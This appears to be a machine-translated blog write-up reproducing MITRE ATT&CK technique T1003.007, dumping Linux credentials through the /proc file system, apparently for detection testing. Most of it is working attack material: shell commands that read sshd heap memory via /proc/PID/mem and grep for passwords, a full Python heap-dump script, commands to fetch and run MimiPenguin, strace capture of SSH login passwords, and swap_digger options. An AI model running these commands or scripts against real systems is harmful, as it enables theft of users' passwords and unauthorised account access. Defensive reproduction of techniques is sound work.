ATT&CK-T1003-007 - Dump de credenciais do sistema operacional: sistema de arquivos Proc

0x01 informações básicas

informação específica detalhes
Número ATT&CK T1003-007
fase tática acesso credencial
sistema operacional Linux
tempo de criação 7 de dezembro de 2022
plataforma de monitoramento Tinder Security, Tinder Sword, sysmon

0x02 Princípio técnico

O sistema de arquivos proc é um pseudo-sistema de arquivos que fornece uma interface para estruturas de dados do kernel para sistemas operacionais baseados em Linux. Geralmente é instalado no diretório /proc. Um invasor pode despejar a memória do processo e extrair texto sem formatação e senhas com hash para credenciais em um sistema baseado em Linux. O sistema de arquivos proc permite que processos executados com privilégios de root obtenham memória em tempo real de outros programas em execução. Se algum programa armazenar texto simples ou senhas com hash na memória, os invasores podem extrair esses valores para exploração.

0x03 Ambiente de recorrência

lista de ferramentas Links Relacionados
pegador de senha mimipinguim https://github.com/huntergregal/mimipenguin
Impost3r rouba várias senhas no Linux https://github.com/ph4ntonn/Impost3r
ferramenta de recuperação de credenciais swap_digger https://github.com/sevagas/swap_digger
condição de ataque Um shell que obteve privilégios de administrador

0x04 Processo de recorrência

  • Despejar memória de processo individual localmente usando sh

Use /proc/$PID/mem, em que $PID é o ID do processo de destino, usa um utilitário de shell para copiar a memória do processo para um arquivo externo para pesquisa ou exfiltração posterior.

nome descrever tipo Padrões
arquivo de saída O caminho para colocar os resultados da pesquisa caminho /tmp/T1003.007.bin
caminho do script O caminho para o script que gera o processo de destino caminho /tmp/T1003.007.sh
pid_term Uma string exclusiva usada para identificar o processo de destino corda T1003.007

Comando de ataque: execute sh! Privilégios elevados necessários

sh #{script_path}    #执行获取进程的脚本,可以批量获取进程,也可作为单个进程输入
PID=$(pgrep -n -f "#{pid_term}")  #获取进程对应pid号
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1) #获取进程虚拟空间中堆的虚拟内存区域范围(VMA)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1)))) #分隔VMA起始地址
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))  #分隔VMA结束地址
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START))) #计算堆的虚拟内存区域大小
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE" #读取进程pid在内存中的内容,并把虚拟内存区域标准输出为一个文件
grep -i "PASS" "#{output_file}" #忽略字符大小写过滤pass

Usando o processo de serviço sshd como exemplo, o número do processo pid do sshd obtido é 1154

insira a descrição da imagem aqui

Obtenha o intervalo de área de memória virtual (VMA) do heap no espaço virtual do processogrep -E "^[0-9a-f-]* r" /proc/1154/maps | grep heap | cut -d' ' -f 1

insira a descrição da imagem aqui

Leia o conteúdo do pid do processo na memória e salve o início e o fim do heap em um arquivo, que pode ser executado com um script de shell para encontrar informações confidenciais vazadas para o arquivo de saída

insira a descrição da imagem aqui

Despejar memória de processo individual usando python (nativo)

Use /proc/$PID/mem, onde $PID é o ID do processo de destino e use um script Python para copiar a memória heap do processo para um arquivo externo para pesquisa ou divulgação posterior; a mesma ideia acima, exceto que o acima é implementado usando sh, aqui é através do python Alcançado

Nome descrever tipo Padrões
arquivo de saída Caminho para colocar os resultados da captura caminho /tmp/T1003.007.bin
caminho do script O caminho para o script que gera o processo de destino caminho /tmp/T1003.007.sh
script python O caminho para o script que gera o processo de destino caminho /T1003.007/src/dump_heap.py
pid_term Uma string exclusiva usada para identificar o processo de destino corda T1003.007

O comando de ataque é o seguinte

PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"

O script python precisa ser executado em um ambiente python3

#!/usr/bin/env python
'''Dump a process's heap space to disk

Usage:
    python dump_proc.py <PID> <filepath>
'''
import argparse


parser = argparse.ArgumentParser(description='Dump a process\'s heap space to disk')
parser.add_argument('pid', type=int, help='ID of process to dump')
parser.add_argument('filepath', help='A filepath to save output to')
args = parser.parse_args()

process_id = args.pid
output_file = args.filepath

with open("/proc/{}/maps".format(process_id), "r") as maps_file:
    # example: 5566db1a6000-5566db4f0000 rw-p 00000000 00:00 0    [heap]
    heap_line = next(filter(lambda line: "[heap]" in line, maps_file))
    heap_range = heap_line.split(' ')[0]
    mem_start = int(heap_range.split('-')[0], 16)
    mem_stop = int(heap_range.split('-')[1], 16)
    mem_size = mem_stop - mem_start

with open("/proc/{}/mem".format(process_id), "rb") as mem_file:
    mem_file.seek(mem_start, 0)
    heap_mem = mem_file.read(mem_size)

with open(output_file, "wb") as ofile:
    ofile.write(heap_mem)

insira a descrição da imagem aqui

Capture senhas com MimiPenguin

O MimiPenguin é uma ferramenta inspirada no MimiKatz voltada para sistemas Linux afetados pelo CVE-2018-20781 (distribuições baseadas no Ubuntu e algumas versões do GNOME Keyring). Após a execução bem-sucedida em um sistema afetado, o MimiPenguin recuperará a senha da memória e a enviará para o arquivo especificado.

Nome descrever tipo Padrões
arquivo de saída Caminho para colocar os resultados da captura caminho /tmp/T1003.007Test3.txt
MimiPenguin_Location Caminho para o script MimiPenguin caminho /tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh

ordem de ataque

{MimiPenguin_Location} > #{output_file}
cat  #{output_file}

Pré-requisito: O script MimiPenguin deve existir no disco no local especificado

wget -O  "/root/mimipenguin.tar.gz"  https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz
mkdir  /root/mimipenguin
tar -xzvf  "/root/mimipenguin.tar.gz"  -C /root/mimipenguin

insira a descrição da imagem aqui

Pode capturar a senha de entrada da área de trabalho do gnome

insira a descrição da imagem aqui

Strace obtém credenciais de login

straceÉ uma poderosa ferramenta de diagnóstico de depuração e análise do Linux, que pode ser usada para rastrear a chamada do sistema do processo (chamada do sistema) e o sinal recebido durante a execução do programa, especialmente para programas cujo código-fonte é ilegível ou código-fonte não pode ser recompilado.

ordem de ataque

pgrep -n -f  "sshd"   #查询sshd服务对应的pid号
strace  -f  -p  {sshd-pid}  -o  #{outfile.txt}  
grep -E 'read\(6, ".+\\0\\0\\0\\.+"'  outfile.txt_location  #正则匹配用户密码

insira a descrição da imagem aqui

swap_digger extrai vários certificados

swap_digger é um script bash para automatizar a análise de troca do Linux para fins de pós-exploração ou forense. Ele automaticamente troca extrações e buscas por credenciais de usuário Linux, credenciais de formulário web, e-mails de formulário web, autenticação básica HTTP, WiFi SSID e chaves, etc.

ordem de ataque

swap_digger.sh -p   #恢复Linux使用了的明文密码
swap_digger.sh -a   #获取所有的密码凭证包含WiFi,HTTP表单
swap_digger.sh -S   #查找可利用的交换分区

insira a descrição da imagem aqui

0x05 Resumo

Como pode ser visto nos experimentos acima, obter credenciais Linux é basicamente pegar a memória em tempo real de outros programas em execução, e se algum desses programas armazenar senhas na memória como texto simples ou hashes de senha, eles podem ser acessados ​​separadamente. são coletados para uso ou cracking para obter credenciais de login do Linux. As duas ferramentas MimiPenguin e swap_digger são tendenciosas para cenários de ataque automatizado.

Acho que você gosta

Origin blog.csdn.net/jd_cx/article/details/128444014
Recomendado
Clasificación